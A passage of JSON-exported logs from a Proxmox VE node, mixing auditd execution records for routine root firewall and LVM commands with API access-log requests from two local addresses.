{"@timestamp":1781964554383,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964554.383:61500): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d1382870 a1=64f8d73bb2e0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=59037 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965638769,"@rawstring":"node=pve type=EXECVE msg=audit(1781965638.769:66467): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966174764,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:36:13 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1141"} {"@timestamp":1781965326006,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965326.006:65124): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62560 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964549806,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964549.806:61499): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=59036 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965635975,"@rawstring":"node=pve type=EXECVE msg=audit(1781965635.975:66464): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781966173726,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:36:13 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1122"} {"@timestamp":1781965326000,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965326.000:65123): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc1474d0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62559 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964549789,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964549.789:61496): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=59035 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965635972,"@rawstring":"node=pve type=EXECVE msg=audit(1781965635.972:66463): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966173726,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:36:13 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 511"} {"@timestamp":1781965325997,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965325.997:65122): arch=c000003e syscall=59 success=yes exit=0 a0=59a7c833fcf0 a1=59a7c834bf00 a2=59a7c8319680 a3=5 items=2 ppid=62552 pid=62558 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781964545577,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964545.577:61493): arch=c000003e syscall=59 success=yes exit=0 a0=5a6f68e3eed0 a1=5a6f68e3bc50 a2=5a6f68e1d680 a3=5 items=2 ppid=59028 pid=59034 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965635970,"@rawstring":"node=pve type=EXECVE msg=audit(1781965635.970:66462): argc=1 a0=\"date\""} {"@timestamp":1781966173726,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:36:12 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 935"} {"@timestamp":1781965325992,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965325.992:65121): arch=c000003e syscall=59 success=yes exit=0 a0=59a793deeac8 a1=7ffdeec6dfa0 a2=59a7c8319680 a3=59a793dd224e items=2 ppid=62552 pid=62554 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781964545574,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964545.574:61492): arch=c000003e syscall=59 success=yes exit=0 a0=5a6f5069aac8 a1=7ffcf72381e0 a2=5a6f68e1d680 a3=5a6f5067e24e items=2 ppid=59028 pid=59030 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965635964,"@rawstring":"node=pve type=EXECVE msg=audit(1781965635.964:66460): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781966171233,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:36:10 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 911"} {"@timestamp":1781965325992,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965325.992:65120): arch=c000003e syscall=59 success=yes exit=0 a0=7ffdeec6df60 a1=59a7c833b390 a2=59a7c8319680 a3=5 items=2 ppid=62552 pid=62553 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781964545573,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964545.573:61491): arch=c000003e syscall=59 success=yes exit=0 a0=7ffcf72381a0 a1=5a6f68e24310 a2=5a6f68e1d680 a3=5 items=2 ppid=59028 pid=59029 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965635954,"@rawstring":"node=pve type=EXECVE msg=audit(1781965635.954:66459): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966171233,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:36:10 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 511"} {"@timestamp":1781965325986,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965325.986:65118): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=62552 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964545569,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964545.569:61489): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc14b110 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=59028 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965635945,"@rawstring":"node=pve type=EXECVE msg=audit(1781965635.945:66458): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966171233,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:36:10 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965325980,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965325.980:65117): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62551 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964545563,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964545.563:61488): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59027 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965635937,"@rawstring":"node=pve type=EXECVE msg=audit(1781965635.937:66457): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966171233,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:36:10 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1122"} {"@timestamp":1781965325972,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965325.972:65116): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62550 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964545557,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964545.557:61487): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59026 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965635927,"@rawstring":"node=pve type=EXECVE msg=audit(1781965635.927:66456): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966171233,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:36:10 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 515"} {"@timestamp":1781965325968,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965325.968:65115): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc12d910 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62549 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781964545551,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964545.551:61486): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59025 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965635921,"@rawstring":"node=pve type=EXECVE msg=audit(1781965635.921:66454): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781966169824,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:36:09 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1131"} {"@timestamp":1781965325960,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965325.960:65114): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc12f7e0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62548 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781964545545,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964545.545:61485): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59024 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965635913,"@rawstring":"node=pve type=EXECVE msg=audit(1781965635.913:66453): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781966169824,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:36:08 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 937"} {"@timestamp":1781965325952,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965325.952:65113): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e2c40 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62547 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781964545542,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964545.542:61484): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=57a9c5af3740 items=0 ppid=1156 pid=59023 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781965635903,"@rawstring":"node=pve type=EXECVE msg=audit(1781965635.903:66452): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781966167719,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:36:07 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1122"} {"@timestamp":1781965325070,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965325.070:65112): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d71ae6f0 a1=64f8d5f90c60 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=62546 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781964545540,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964545.540:61483): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e2bb0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59023 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781965635895,"@rawstring":"node=pve type=EXECVE msg=audit(1781965635.895:66451): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781966167719,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:36:07 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 518"} {"@timestamp":1781965325040,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965325.040:65111): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73e2250 a1=64f8d74095d0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=62545 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781964545535,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964545.535:61482): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc134b70 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59022 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965635885,"@rawstring":"node=pve type=EXECVE msg=audit(1781965635.885:66450): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781966167719,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:36:06 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 934"} {"@timestamp":1781965322581,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965322.581:65110): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789955c30 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=62542 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964545530,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964545.530:61481): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc1387b0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59021 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965635878,"@rawstring":"node=pve type=EXECVE msg=audit(1781965635.878:66449): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781966167719,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:36:06 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 516"} {"@timestamp":1781965322571,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965322.571:65107): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789955b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=62541 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964545525,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964545.525:61480): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc130440 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59020 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965635868,"@rawstring":"node=pve type=EXECVE msg=audit(1781965635.868:66448): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966167719,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:36:06 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965317563,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965317.563:65104): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789955ab0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=62538 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964545520,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964545.520:61479): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc1387b0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59019 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965635859,"@rawstring":"node=pve type=EXECVE msg=audit(1781965635.859:66447): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966166712,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:36:05 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1122"} {"@timestamp":1781965317553,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965317.553:65101): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899559f0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=62537 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964545515,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964545.515:61478): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ac90c0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59018 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965635850,"@rawstring":"node=pve type=EXECVE msg=audit(1781965635.850:66446): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781966165195,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:36:04 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 885"} {"@timestamp":1781965315942,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965315.942:65098): arch=c000003e syscall=59 success=yes exit=0 a0=582c276a80a0 a1=582c276a4e20 a2=582c27686680 a3=5 items=2 ppid=62530 pid=62536 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781964545509,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964545.509:61477): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59017 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965635846,"@rawstring":"node=pve type=EXECVE msg=audit(1781965635.846:66445): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966165195,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:36:04 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1152"} {"@timestamp":1781965315938,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965315.938:65097): arch=c000003e syscall=59 success=yes exit=0 a0=582c0d7b8ac8 a1=7ffd15317ee0 a2=582c27686680 a3=582c0d79c24e items=2 ppid=62530 pid=62532 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781964545503,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964545.503:61476): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59016 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965635845,"@rawstring":"node=pve type=EXECVE msg=audit(1781965635.845:66444): argc=1 a0=\"date\""} {"@timestamp":1781966165195,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:36:04 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 513"} {"@timestamp":1781965315936,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965315.936:65096): arch=c000003e syscall=59 success=yes exit=0 a0=7ffd15317ea0 a1=582c2768d310 a2=582c27686680 a3=5 items=2 ppid=62530 pid=62531 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781964545499,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964545.499:61475): arch=c000003e syscall=59 success=yes exit=0 a0=60c7f2081ed0 a1=60c7f207ec50 a2=60c7f2060680 a3=5 items=2 ppid=59009 pid=59015 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965635839,"@rawstring":"node=pve type=EXECVE msg=audit(1781965635.839:66442): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781966163778,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:36:02 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 933"} {"@timestamp":1781965315932,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965315.932:65094): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=62530 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964545496,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964545.496:61474): arch=c000003e syscall=59 success=yes exit=0 a0=60c7dea72ac8 a1=7ffe7b85bd40 a2=60c7f2060680 a3=60c7dea5624e items=2 ppid=59009 pid=59011 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965635830,"@rawstring":"node=pve type=EXECVE msg=audit(1781965635.830:66441): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966163778,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:36:02 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 513"} {"@timestamp":1781965315924,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965315.924:65093): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62529 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964545494,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964545.494:61473): arch=c000003e syscall=59 success=yes exit=0 a0=7ffe7b85bd00 a1=60c7f2067310 a2=60c7f2060680 a3=5 items=2 ppid=59009 pid=59010 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined 